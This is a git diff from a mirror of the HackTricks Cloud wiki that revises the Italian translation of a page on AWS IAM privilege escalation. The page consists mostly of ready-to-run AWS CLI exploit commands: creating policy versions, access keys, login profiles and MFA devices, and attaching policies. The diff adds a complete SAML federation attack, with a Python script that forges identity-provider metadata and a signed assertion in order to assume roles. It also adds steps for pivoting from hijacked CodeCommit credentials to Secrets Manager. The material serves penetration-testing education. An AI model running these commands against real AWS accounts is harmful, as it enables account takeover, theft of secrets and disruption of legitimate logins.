mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-03-12 21:22:57 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat
This commit is contained in:
@@ -12,28 +12,28 @@ Per maggiori informazioni su IAM consulta:
|
||||
|
||||
### **`iam:CreatePolicyVersion`**
|
||||
|
||||
Concede la possibilità di creare una nuova versione di una IAM policy, aggirando la necessità della permission `iam:SetDefaultPolicyVersion` utilizzando il flag `--set-as-default`. Questo permette di definire permessi personalizzati.
|
||||
Concede la possibilità di creare una nuova versione di una policy IAM, aggirando la necessità del permesso `iam:SetDefaultPolicyVersion` utilizzando il flag `--set-as-default`. Ciò consente di definire permessi personalizzati.
|
||||
|
||||
**Exploit Command:**
|
||||
**Comando di exploit:**
|
||||
```bash
|
||||
aws iam create-policy-version --policy-arn <target_policy_arn> \
|
||||
--policy-document file:///path/to/administrator/policy.json --set-as-default
|
||||
```
|
||||
**Impatto:** Escalazione diretta dei privilegi consentendo qualsiasi azione su qualsiasi risorsa.
|
||||
**Impatto:** Escalazione diretta dei privilegi: consente qualsiasi azione su qualsiasi risorsa.
|
||||
|
||||
### **`iam:SetDefaultPolicyVersion`**
|
||||
|
||||
Consente di cambiare la versione predefinita di una IAM policy con un'altra versione esistente, potenzialmente aumentando i privilegi se la nuova versione concede più permessi.
|
||||
Consente di cambiare la versione predefinita di una policy IAM con un'altra versione esistente, con possibile escalation dei privilegi se la nuova versione ha più permessi.
|
||||
|
||||
**Comando Bash:**
|
||||
**Bash Command:**
|
||||
```bash
|
||||
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
|
||||
```
|
||||
**Impatto:** Escalation di privilegi indiretta consentendo più permessi.
|
||||
**Impatto:** Indiretta privilege escalation abilitando più permessi.
|
||||
|
||||
### **`iam:CreateAccessKey`, (`iam:DeleteAccessKey`)**
|
||||
|
||||
Permette di creare access key ID e secret access key per un altro utente, con possibile escalation di privilegi.
|
||||
Consente di creare access key ID e secret access key per un altro utente, portando a un potenziale privilege escalation.
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
@@ -41,13 +41,13 @@ aws iam create-access-key --user-name <target_user>
|
||||
```
|
||||
**Impatto:** Escalation diretta dei privilegi assumendo i permessi estesi di un altro utente.
|
||||
|
||||
Nota che un utente può avere al massimo 2 access keys; quindi se ha già 2 access keys sarà necessario il permesso `iam:DeleteAccessKey` per eliminarne una e poterne creare una nuova:
|
||||
Nota che un utente può avere solo 2 access keys create, quindi se un utente ha già 2 access keys sarà necessario il permesso `iam:DeleteAccessKey` per eliminare una di esse per poter creare una nuova:
|
||||
```bash
|
||||
aws iam delete-access-key --uaccess-key-id <key_id>
|
||||
```
|
||||
### **`iam:CreateVirtualMFADevice` + `iam:EnableMFADevice`**
|
||||
|
||||
Se puoi creare un nuovo virtual MFA device e abilitarlo su un altro utente, puoi effettivamente registrare il tuo MFA per quell'utente e poi richiedere una sessione autenticata con MFA usando le sue credenziali.
|
||||
Se puoi creare un nuovo virtual MFA device e abilitarlo su un altro utente, puoi effettivamente registrare il tuo MFA per quell'utente e poi richiedere una sessione autenticata tramite MFA usando le sue credenziali.
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
@@ -58,71 +58,97 @@ aws iam create-virtual-mfa-device --virtual-mfa-device-name <mfa_name>
|
||||
aws iam enable-mfa-device --user-name <target_user> --serial-number <serial> \
|
||||
--authentication-code1 <code1> --authentication-code2 <code2>
|
||||
```
|
||||
**Impact:** Escalation diretta dei privilegi acquisendo il controllo della registrazione MFA di un utente (e poi usando i suoi permessi).
|
||||
**Impatto:** Escalation di privilegi diretta ottenuta prendendo il controllo della registrazione MFA di un utente (e poi usando i suoi permessi).
|
||||
|
||||
### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`**
|
||||
|
||||
Consente di creare o aggiornare un login profile, inclusa l'impostazione delle password per l'accesso alla console AWS, portando a un'escalation diretta dei privilegi.
|
||||
Permette di creare o aggiornare un login profile, inclusa l'impostazione di password per l'accesso alla console AWS, causando un'escalation di privilegi diretta.
|
||||
|
||||
**Exploit for Creation:**
|
||||
```bash
|
||||
aws iam create-login-profile --user-name target_user --no-password-reset-required \
|
||||
--password '<password>'
|
||||
```
|
||||
**Exploit per Aggiornamento:**
|
||||
**Exploit per l'aggiornamento:**
|
||||
```bash
|
||||
aws iam update-login-profile --user-name target_user --no-password-reset-required \
|
||||
--password '<password>'
|
||||
```
|
||||
**Impatto:** Escalation diretta dei privilegi accedendo come "any" user.
|
||||
**Impatto:** Escalation di privilegi diretta effettuando l'accesso come utente "any".
|
||||
|
||||
### **`iam:UpdateAccessKey`**
|
||||
|
||||
Consente di abilitare una disabled access key, potenzialmente causando accesso non autorizzato se l'attacker è in possesso della disabled access key.
|
||||
Consente di riattivare una access key disabilitata, potenzialmente causando accessi non autorizzati se l'attaccante è in possesso della access key disabilitata.
|
||||
|
||||
**Exploit:**
|
||||
```bash
|
||||
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
|
||||
```
|
||||
**Impatto:** Escalazione diretta dei privilegi riattivando access keys.
|
||||
**Impact:** Escalation diretta dei privilegi riattivando le chiavi di accesso.
|
||||
|
||||
### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`**
|
||||
|
||||
Consente di generare o reimpostare credenziali per servizi AWS specifici (es., CodeCommit, Amazon Keyspaces), ereditando i permessi dell'utente associato.
|
||||
Consente di generare o resettare credenziali per servizi AWS specifici (più comunemente **CodeCommit**). Queste **non** sono AWS API keys: sono credenziali **username/password** per un servizio specifico, e puoi usarle solo dove quel servizio le accetta.
|
||||
|
||||
**Exploit per la creazione:**
|
||||
**Creazione:**
|
||||
```bash
|
||||
aws iam create-service-specific-credential --user-name <username> --service-name <service>
|
||||
aws iam create-service-specific-credential --user-name <target_user> --service-name codecommit.amazonaws.com
|
||||
```
|
||||
**Exploit per il Reset:**
|
||||
Salva:
|
||||
|
||||
- `ServiceSpecificCredential.ServiceUserName`
|
||||
- `ServiceSpecificCredential.ServicePassword`
|
||||
|
||||
**Esempio:**
|
||||
```bash
|
||||
# Find a repository you can access as the target
|
||||
aws codecommit list-repositories
|
||||
|
||||
export REPO_NAME="<repo_name>"
|
||||
export AWS_REGION="us-east-1" # adjust if needed
|
||||
|
||||
# Git URL (HTTPS)
|
||||
export CLONE_URL="https://git-codecommit.${AWS_REGION}.amazonaws.com/v1/repos/${REPO_NAME}"
|
||||
|
||||
# Clone and use the ServiceUserName/ServicePassword when prompted
|
||||
git clone "$CLONE_URL"
|
||||
cd "$REPO_NAME"
|
||||
```
|
||||
> Nota: la password del servizio spesso contiene caratteri come `+`, `/` e `=`. Usare il prompt interattivo è di solito più semplice. Se la includi in un URL, codificala prima.
|
||||
|
||||
A questo punto puoi leggere tutto ciò a cui l'utente target può accedere in CodeCommit (ad esempio, un leaked credentials file). Se recuperi **AWS access keys** dal repo, configura un nuovo AWS CLI profile con quelle chiavi e poi accedi alle risorse (per esempio, leggi una flag da Secrets Manager):
|
||||
```bash
|
||||
aws secretsmanager get-secret-value --secret-id <secret_name> --profile <new_profile>
|
||||
```
|
||||
**Reimposta:**
|
||||
```bash
|
||||
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
|
||||
```
|
||||
**Impatto:** Escalation diretta dei privilegi all'interno delle autorizzazioni di servizio dell'utente.
|
||||
**Impatto:** Privilege escalation nelle autorizzazioni dell'utente target per il servizio indicato (e potenzialmente oltre se effettui pivot usando i dati recuperati da quel servizio).
|
||||
|
||||
### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`**
|
||||
|
||||
Consente di allegare policy a utenti o gruppi, escalando direttamente i privilegi ereditando i permessi della policy allegata.
|
||||
Permette di associare policy ad utenti o gruppi, direttamente escalating privileges ereditando i permessi della policy allegata.
|
||||
|
||||
**Exploit per l'utente:**
|
||||
**Exploit for User:**
|
||||
```bash
|
||||
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
|
||||
```
|
||||
**Exploit per Gruppo:**
|
||||
**Exploit per il Gruppo:**
|
||||
```bash
|
||||
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
|
||||
```
|
||||
**Impatto:** Escalation di privilegi diretta verso tutto ciò che la policy concede.
|
||||
**Impatto:** Escalation diretta dei privilegi a qualsiasi cosa la policy conceda.
|
||||
|
||||
### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`**
|
||||
|
||||
Permette di allegare o inserire policy a ruoli, utenti o gruppi, consentendo un'escalation di privilegi diretta tramite la concessione di permessi aggiuntivi.
|
||||
Consente di allegare o inserire policy a ruoli, utenti o gruppi, abilitando un'escalation diretta dei privilegi tramite la concessione di permessi aggiuntivi.
|
||||
|
||||
**Exploit per ruolo:**
|
||||
**Exploit for Role:**
|
||||
```bash
|
||||
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
|
||||
```
|
||||
**Exploit per Inline Policies:**
|
||||
**Exploit per le policy inline:**
|
||||
```bash
|
||||
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
|
||||
--policy-document "file:///path/to/policy.json"
|
||||
@@ -146,7 +172,7 @@ Puoi usare una policy come:
|
||||
]
|
||||
}
|
||||
```
|
||||
**Impatto:** Escalation di privilegi diretta aggiungendo permessi tramite policy.
|
||||
**Impatto:** Escalazione diretta dei privilegi aggiungendo permessi tramite policy.
|
||||
|
||||
### **`iam:AddUserToGroup`**
|
||||
|
||||
@@ -160,7 +186,7 @@ aws iam add-user-to-group --group-name <group_name> --user-name <username>
|
||||
|
||||
### **`iam:UpdateAssumeRolePolicy`**
|
||||
|
||||
Permette di modificare il documento della policy di assunzione del ruolo (assume role policy) di un ruolo, consentendo l'assunzione del ruolo e i permessi associati.
|
||||
Permette di modificare il documento assume role policy di un ruolo, abilitando la possibilità di assumere il ruolo e le autorizzazioni associate.
|
||||
|
||||
**Sfruttamento:**
|
||||
```bash
|
||||
@@ -182,17 +208,17 @@ Quando la policy è simile alla seguente, che concede all'utente il permesso di
|
||||
]
|
||||
}
|
||||
```
|
||||
**Impatto:** Escalation diretta dei privilegi assumendo i permessi di qualsiasi ruolo.
|
||||
**Impatto:** Escalation di privilegi diretta assumendo i permessi di qualsiasi ruolo.
|
||||
|
||||
### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`**
|
||||
|
||||
Consente di caricare una chiave pubblica SSH per l'autenticazione a CodeCommit e di disattivare dispositivi MFA, con possibile escalation di privilegi indiretta.
|
||||
Permette di caricare una chiave pubblica SSH per autenticarsi a CodeCommit e di disattivare dispositivi MFA, portando a una potenziale escalation di privilegi indiretta.
|
||||
|
||||
**Exploit for SSH Key Upload:**
|
||||
```bash
|
||||
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
|
||||
```
|
||||
**Exploit per MFA Deactivation:**
|
||||
**Exploit per la disattivazione di MFA:**
|
||||
```bash
|
||||
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
|
||||
```
|
||||
@@ -200,20 +226,20 @@ aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_num
|
||||
|
||||
### **`iam:ResyncMFADevice`**
|
||||
|
||||
Consente la risincronizzazione di un dispositivo MFA, potenzialmente portando a un'escalation di privilegi indiretta manipolando la protezione MFA.
|
||||
Permette la risincronizzazione di un dispositivo MFA, potenzialmente portando a un'escalation di privilegi indiretta manipolando la protezione MFA.
|
||||
|
||||
**Comando Bash:**
|
||||
```bash
|
||||
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
|
||||
--authentication-code1 <code1> --authentication-code2 <code2>
|
||||
```
|
||||
**Impatto:** Escalation dei privilegi indiretta aggiungendo o manipolando dispositivi MFA.
|
||||
**Impatto:** Escalation di privilegi indiretta aggiungendo o manipolando dispositivi MFA.
|
||||
|
||||
### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`)
|
||||
|
||||
Con questi permessi puoi **cambiare i metadata XML della connessione SAML**. Poi, potresti abusare della **SAML federation** per **login** con qualsiasi **role that is trusting** it.
|
||||
Con questi permessi puoi **modificare i metadata XML della connessione SAML**. Poi, potresti abusare della **federazione SAML** per **login** con qualsiasi **ruolo che si fidi di essa**.
|
||||
|
||||
Nota che facendo questo **legit users won't be able to login**. Tuttavia, potresti ottenere l'XML, così puoi mettere il tuo, login e ripristinare la configurazione precedente
|
||||
Nota che facendo questo **gli utenti legittimi non saranno in grado di fare login**. Tuttavia, potresti ottenere l'XML, quindi puoi inserire il tuo, fare login e ripristinare la configurazione precedente.
|
||||
```bash
|
||||
# List SAMLs
|
||||
aws iam list-saml-providers
|
||||
@@ -229,12 +255,258 @@ aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-ar
|
||||
# Optional: Set the previous XML back
|
||||
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
|
||||
```
|
||||
> [!NOTE]
|
||||
> TODO: Uno strumento in grado di generare i SAML metadata e fare il login con un ruolo specificato
|
||||
**Attacco end-to-end:**
|
||||
|
||||
1. Enumerare il provider SAML e una role che si fida di esso:
|
||||
```bash
|
||||
export AWS_REGION=${AWS_REGION:-us-east-1}
|
||||
|
||||
aws iam list-saml-providers
|
||||
export PROVIDER_ARN="arn:aws:iam::<ACCOUNT_ID>:saml-provider/<PROVIDER_NAME>"
|
||||
|
||||
# Backup current metadata so you can restore it later:
|
||||
aws iam get-saml-provider --saml-provider-arn "$PROVIDER_ARN" > /tmp/saml-provider-backup.json
|
||||
|
||||
# Find candidate roles and inspect their trust policy to confirm they allow sts:AssumeRoleWithSAML:
|
||||
aws iam list-roles | grep -i saml || true
|
||||
aws iam get-role --role-name "<ROLE_NAME>"
|
||||
export ROLE_ARN="arn:aws:iam::<ACCOUNT_ID>:role/<ROLE_NAME>"
|
||||
```
|
||||
2. Falsificare i metadati IdP + una SAML assertion firmata per la coppia role/provider:
|
||||
```bash
|
||||
python3 -m venv /tmp/saml-federation-venv
|
||||
source /tmp/saml-federation-venv/bin/activate
|
||||
pip install lxml signxml
|
||||
|
||||
# Create /tmp/saml_forge.py from the expandable below first:
|
||||
python3 /tmp/saml_forge.py --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" > /tmp/saml-forge.json
|
||||
python3 - <<'PY'
|
||||
import json
|
||||
j=json.load(open("/tmp/saml-forge.json","r"))
|
||||
open("/tmp/saml-metadata.xml","w").write(j["metadata_xml"])
|
||||
open("/tmp/saml-assertion.b64","w").write(j["assertion_b64"])
|
||||
print("Wrote /tmp/saml-metadata.xml and /tmp/saml-assertion.b64")
|
||||
PY
|
||||
```
|
||||
<details>
|
||||
<summary>Espandibile: <code>/tmp/saml_forge.py</code> script di supporto (metadati + assertion firmata)</summary>
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import base64
|
||||
import datetime as dt
|
||||
import json
|
||||
import os
|
||||
import subprocess
|
||||
import tempfile
|
||||
import uuid
|
||||
|
||||
from lxml import etree
|
||||
from signxml import XMLSigner, methods
|
||||
|
||||
|
||||
def _run(cmd: list[str]) -> str:
|
||||
p = subprocess.run(cmd, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
|
||||
return p.stdout
|
||||
|
||||
|
||||
def _openssl_make_key_and_cert(tmpdir: str) -> tuple[str, str]:
|
||||
key_path = os.path.join(tmpdir, "key.pem")
|
||||
cert_path = os.path.join(tmpdir, "cert.pem")
|
||||
_run(
|
||||
[
|
||||
"openssl",
|
||||
"req",
|
||||
"-x509",
|
||||
"-newkey",
|
||||
"rsa:2048",
|
||||
"-keyout",
|
||||
key_path,
|
||||
"-out",
|
||||
cert_path,
|
||||
"-days",
|
||||
"3650",
|
||||
"-nodes",
|
||||
"-subj",
|
||||
"/CN=attacker-idp",
|
||||
]
|
||||
)
|
||||
return key_path, cert_path
|
||||
|
||||
|
||||
def _pem_cert_to_b64(cert_pem: str) -> str:
|
||||
lines: list[str] = []
|
||||
for line in cert_pem.splitlines():
|
||||
if "BEGIN CERTIFICATE" in line or "END CERTIFICATE" in line:
|
||||
continue
|
||||
line = line.strip()
|
||||
if line:
|
||||
lines.append(line)
|
||||
return "".join(lines)
|
||||
|
||||
|
||||
def make_metadata_xml(cert_b64: str) -> str:
|
||||
return f"""<?xml version="1.0"?>
|
||||
<EntityDescriptor xmlns="urn:oasis:names:tc:SAML:2.0:metadata" entityID="https://attacker.invalid/idp">
|
||||
<IDPSSODescriptor protocolSupportEnumeration="urn:oasis:names:tc:SAML:2.0:protocol">
|
||||
<KeyDescriptor use="signing">
|
||||
<KeyInfo xmlns="http://www.w3.org/2000/09/xmldsig#">
|
||||
<X509Data>
|
||||
<X509Certificate>{cert_b64}</X509Certificate>
|
||||
</X509Data>
|
||||
</KeyInfo>
|
||||
</KeyDescriptor>
|
||||
<SingleSignOnService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect" Location="https://attacker.invalid/sso"/>
|
||||
</IDPSSODescriptor>
|
||||
</EntityDescriptor>
|
||||
"""
|
||||
|
||||
|
||||
def make_signed_saml_response(role_arn: str, principal_arn: str, key_pem: str, cert_pem: str) -> bytes:
|
||||
ns = {
|
||||
"saml2p": "urn:oasis:names:tc:SAML:2.0:protocol",
|
||||
"saml2": "urn:oasis:names:tc:SAML:2.0:assertion",
|
||||
}
|
||||
|
||||
issue_instant = dt.datetime.now(dt.timezone.utc)
|
||||
not_before = issue_instant - dt.timedelta(minutes=2)
|
||||
not_on_or_after = issue_instant + dt.timedelta(minutes=10)
|
||||
|
||||
resp_id = "_" + str(uuid.uuid4())
|
||||
assertion_id = "_" + str(uuid.uuid4())
|
||||
|
||||
response = etree.Element(etree.QName(ns["saml2p"], "Response"), nsmap=ns)
|
||||
response.set("ID", resp_id)
|
||||
response.set("Version", "2.0")
|
||||
response.set("IssueInstant", issue_instant.isoformat())
|
||||
response.set("Destination", "https://signin.aws.amazon.com/saml")
|
||||
|
||||
issuer = etree.SubElement(response, etree.QName(ns["saml2"], "Issuer"))
|
||||
issuer.text = "https://attacker.invalid/idp"
|
||||
|
||||
status = etree.SubElement(response, etree.QName(ns["saml2p"], "Status"))
|
||||
status_code = etree.SubElement(status, etree.QName(ns["saml2p"], "StatusCode"))
|
||||
status_code.set("Value", "urn:oasis:names:tc:SAML:2.0:status:Success")
|
||||
|
||||
assertion = etree.SubElement(response, etree.QName(ns["saml2"], "Assertion"))
|
||||
assertion.set("ID", assertion_id)
|
||||
assertion.set("Version", "2.0")
|
||||
assertion.set("IssueInstant", issue_instant.isoformat())
|
||||
|
||||
a_issuer = etree.SubElement(assertion, etree.QName(ns["saml2"], "Issuer"))
|
||||
a_issuer.text = "https://attacker.invalid/idp"
|
||||
|
||||
subject = etree.SubElement(assertion, etree.QName(ns["saml2"], "Subject"))
|
||||
name_id = etree.SubElement(subject, etree.QName(ns["saml2"], "NameID"))
|
||||
name_id.set("Format", "urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified")
|
||||
name_id.text = "attacker"
|
||||
|
||||
subject_conf = etree.SubElement(subject, etree.QName(ns["saml2"], "SubjectConfirmation"))
|
||||
subject_conf.set("Method", "urn:oasis:names:tc:SAML:2.0:cm:bearer")
|
||||
subject_conf_data = etree.SubElement(subject_conf, etree.QName(ns["saml2"], "SubjectConfirmationData"))
|
||||
subject_conf_data.set("NotOnOrAfter", not_on_or_after.isoformat())
|
||||
subject_conf_data.set("Recipient", "https://signin.aws.amazon.com/saml")
|
||||
|
||||
conditions = etree.SubElement(assertion, etree.QName(ns["saml2"], "Conditions"))
|
||||
conditions.set("NotBefore", not_before.isoformat())
|
||||
conditions.set("NotOnOrAfter", not_on_or_after.isoformat())
|
||||
|
||||
audience_restriction = etree.SubElement(conditions, etree.QName(ns["saml2"], "AudienceRestriction"))
|
||||
audience = etree.SubElement(audience_restriction, etree.QName(ns["saml2"], "Audience"))
|
||||
audience.text = "https://signin.aws.amazon.com/saml"
|
||||
|
||||
attr_stmt = etree.SubElement(assertion, etree.QName(ns["saml2"], "AttributeStatement"))
|
||||
|
||||
attr_role = etree.SubElement(attr_stmt, etree.QName(ns["saml2"], "Attribute"))
|
||||
attr_role.set("Name", "https://aws.amazon.com/SAML/Attributes/Role")
|
||||
attr_role_value = etree.SubElement(attr_role, etree.QName(ns["saml2"], "AttributeValue"))
|
||||
attr_role_value.text = f"{role_arn},{principal_arn}"
|
||||
|
||||
attr_session = etree.SubElement(attr_stmt, etree.QName(ns["saml2"], "Attribute"))
|
||||
attr_session.set("Name", "https://aws.amazon.com/SAML/Attributes/RoleSessionName")
|
||||
attr_session_value = etree.SubElement(attr_session, etree.QName(ns["saml2"], "AttributeValue"))
|
||||
attr_session_value.text = "saml-session"
|
||||
|
||||
key_bytes = open(key_pem, "rb").read()
|
||||
cert_bytes = open(cert_pem, "rb").read()
|
||||
|
||||
signer = XMLSigner(
|
||||
method=methods.enveloped,
|
||||
signature_algorithm="rsa-sha256",
|
||||
digest_algorithm="sha256",
|
||||
c14n_algorithm="http://www.w3.org/2001/10/xml-exc-c14n#",
|
||||
)
|
||||
signed_assertion = signer.sign(
|
||||
assertion,
|
||||
key=key_bytes,
|
||||
cert=cert_bytes,
|
||||
reference_uri=f"#{assertion_id}",
|
||||
id_attribute="ID",
|
||||
)
|
||||
|
||||
response.remove(assertion)
|
||||
response.append(signed_assertion)
|
||||
|
||||
return etree.tostring(response, xml_declaration=True, encoding="utf-8")
|
||||
|
||||
|
||||
def main() -> None:
|
||||
ap = argparse.ArgumentParser()
|
||||
ap.add_argument("--role-arn", required=True)
|
||||
ap.add_argument("--principal-arn", required=True)
|
||||
args = ap.parse_args()
|
||||
|
||||
with tempfile.TemporaryDirectory() as tmp:
|
||||
key_path, cert_path = _openssl_make_key_and_cert(tmp)
|
||||
cert_pem = open(cert_path, "r", encoding="utf-8").read()
|
||||
cert_b64 = _pem_cert_to_b64(cert_pem)
|
||||
|
||||
metadata_xml = make_metadata_xml(cert_b64)
|
||||
saml_xml = make_signed_saml_response(args.role_arn, args.principal_arn, key_path, cert_path)
|
||||
saml_b64 = base64.b64encode(saml_xml).decode("ascii")
|
||||
|
||||
print(json.dumps({"metadata_xml": metadata_xml, "assertion_b64": saml_b64}))
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
```
|
||||
</details>
|
||||
|
||||
3. Aggiorna i metadata del provider SAML con il tuo certificato IdP, assumi il ruolo e usa le credenziali STS restituite:
|
||||
```bash
|
||||
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
|
||||
--saml-metadata-document file:///tmp/saml-metadata.xml
|
||||
|
||||
# Assertion is base64 and can be long. Keep it on one line:
|
||||
ASSERTION_B64=$(tr -d '\n' </tmp/saml-assertion.b64)
|
||||
SESSION_LINE=$(aws sts assume-role-with-saml --role-arn "$ROLE_ARN" --principal-arn "$PROVIDER_ARN" --saml-assertion "$ASSERTION_B64" \
|
||||
--query 'Credentials.[AccessKeyId,SecretAccessKey,SessionToken,Expiration]' --output text)
|
||||
IFS=$'\t' read -r SESSION_AK SESSION_SK SESSION_ST SESSION_EXP <<<"$SESSION_LINE"
|
||||
echo "Session expires at: $SESSION_EXP"
|
||||
|
||||
# Use creds inline (no need to create an AWS CLI profile):
|
||||
AWS_ACCESS_KEY_ID="$SESSION_AK" AWS_SECRET_ACCESS_KEY="$SESSION_SK" AWS_SESSION_TOKEN="$SESSION_ST" AWS_REGION="$AWS_REGION" \
|
||||
aws sts get-caller-identity
|
||||
```
|
||||
4. Pulizia: ripristina i metadati precedenti:
|
||||
```bash
|
||||
python3 - <<'PY'
|
||||
import json
|
||||
j=json.load(open("/tmp/saml-provider-backup.json","r"))
|
||||
open("/tmp/saml-metadata-original.xml","w").write(j["SAMLMetadataDocument"])
|
||||
PY
|
||||
aws iam update-saml-provider --saml-provider-arn "$PROVIDER_ARN" \
|
||||
--saml-metadata-document file:///tmp/saml-metadata-original.xml
|
||||
```
|
||||
> [!WARNING]
|
||||
> Aggiornare i metadata del provider SAML è dirompente: mentre i tuoi metadata sono in vigore, gli utenti SSO legittimi potrebbero non riuscire ad autenticarsi.
|
||||
|
||||
### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**)
|
||||
|
||||
(Da verificare) Se un attacker ha queste **permissions** potrebbe aggiungere un nuovo **Thumbprint** per riuscire a fare login in tutti i ruoli che si fidano del provider.
|
||||
(Non sicuro su questo) Se un attacker ha queste **permissions** potrebbe aggiungere una nuova **Thumbprint** per riuscire ad effettuare l'accesso a tutti i ruoli che si affidano al provider.
|
||||
```bash
|
||||
# List providers
|
||||
aws iam list-open-id-connect-providers
|
||||
@@ -245,7 +517,7 @@ aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-ar
|
||||
```
|
||||
### `iam:PutUserPermissionsBoundary`
|
||||
|
||||
Questa permission permette a un attacker di aggiornare il permissions boundary di un utente, potenzialmente escalating i suoi privileges e consentendogli di eseguire azioni normalmente limitate dalle sue existing permissions.
|
||||
Questa autorizzazione consente a un attaccante di aggiornare il permissions boundary di un utente, potenzialmente aumentando i suoi privilegi e permettendogli di eseguire azioni normalmente limitate dalle autorizzazioni esistenti.
|
||||
```bash
|
||||
aws iam put-user-permissions-boundary \
|
||||
--user-name <nombre_usuario> \
|
||||
@@ -268,7 +540,7 @@ Un ejemplo de una política que no aplica ninguna restricción es:
|
||||
```
|
||||
### `iam:PutRolePermissionsBoundary`
|
||||
|
||||
Un attore con iam:PutRolePermissionsBoundary può impostare un permissions boundary su un role esistente. Il rischio si presenta quando qualcuno con questa autorizzazione modifica il boundary di un role: può limitare in modo improprio le operazioni (causando interruzioni del servizio) oppure, se appone un boundary permissivo, ampliare effettivamente ciò che il role può fare e ottenere escalation di privilegi.
|
||||
Un attore con iam:PutRolePermissionsBoundary può impostare un permissions boundary su un role esistente. Il rischio sorge quando qualcuno con questo permesso modifica il boundary di un role: può limitare impropriamente le operazioni (causando interruzioni del servizio) oppure, se applica un boundary permissivo, espandere effettivamente ciò che il role può fare e ottenere l'elevazione dei privilegi.
|
||||
```bash
|
||||
aws iam put-role-permissions-boundary \
|
||||
--role-name <Role_Name> \
|
||||
|
||||
Reference in New Issue
Block a user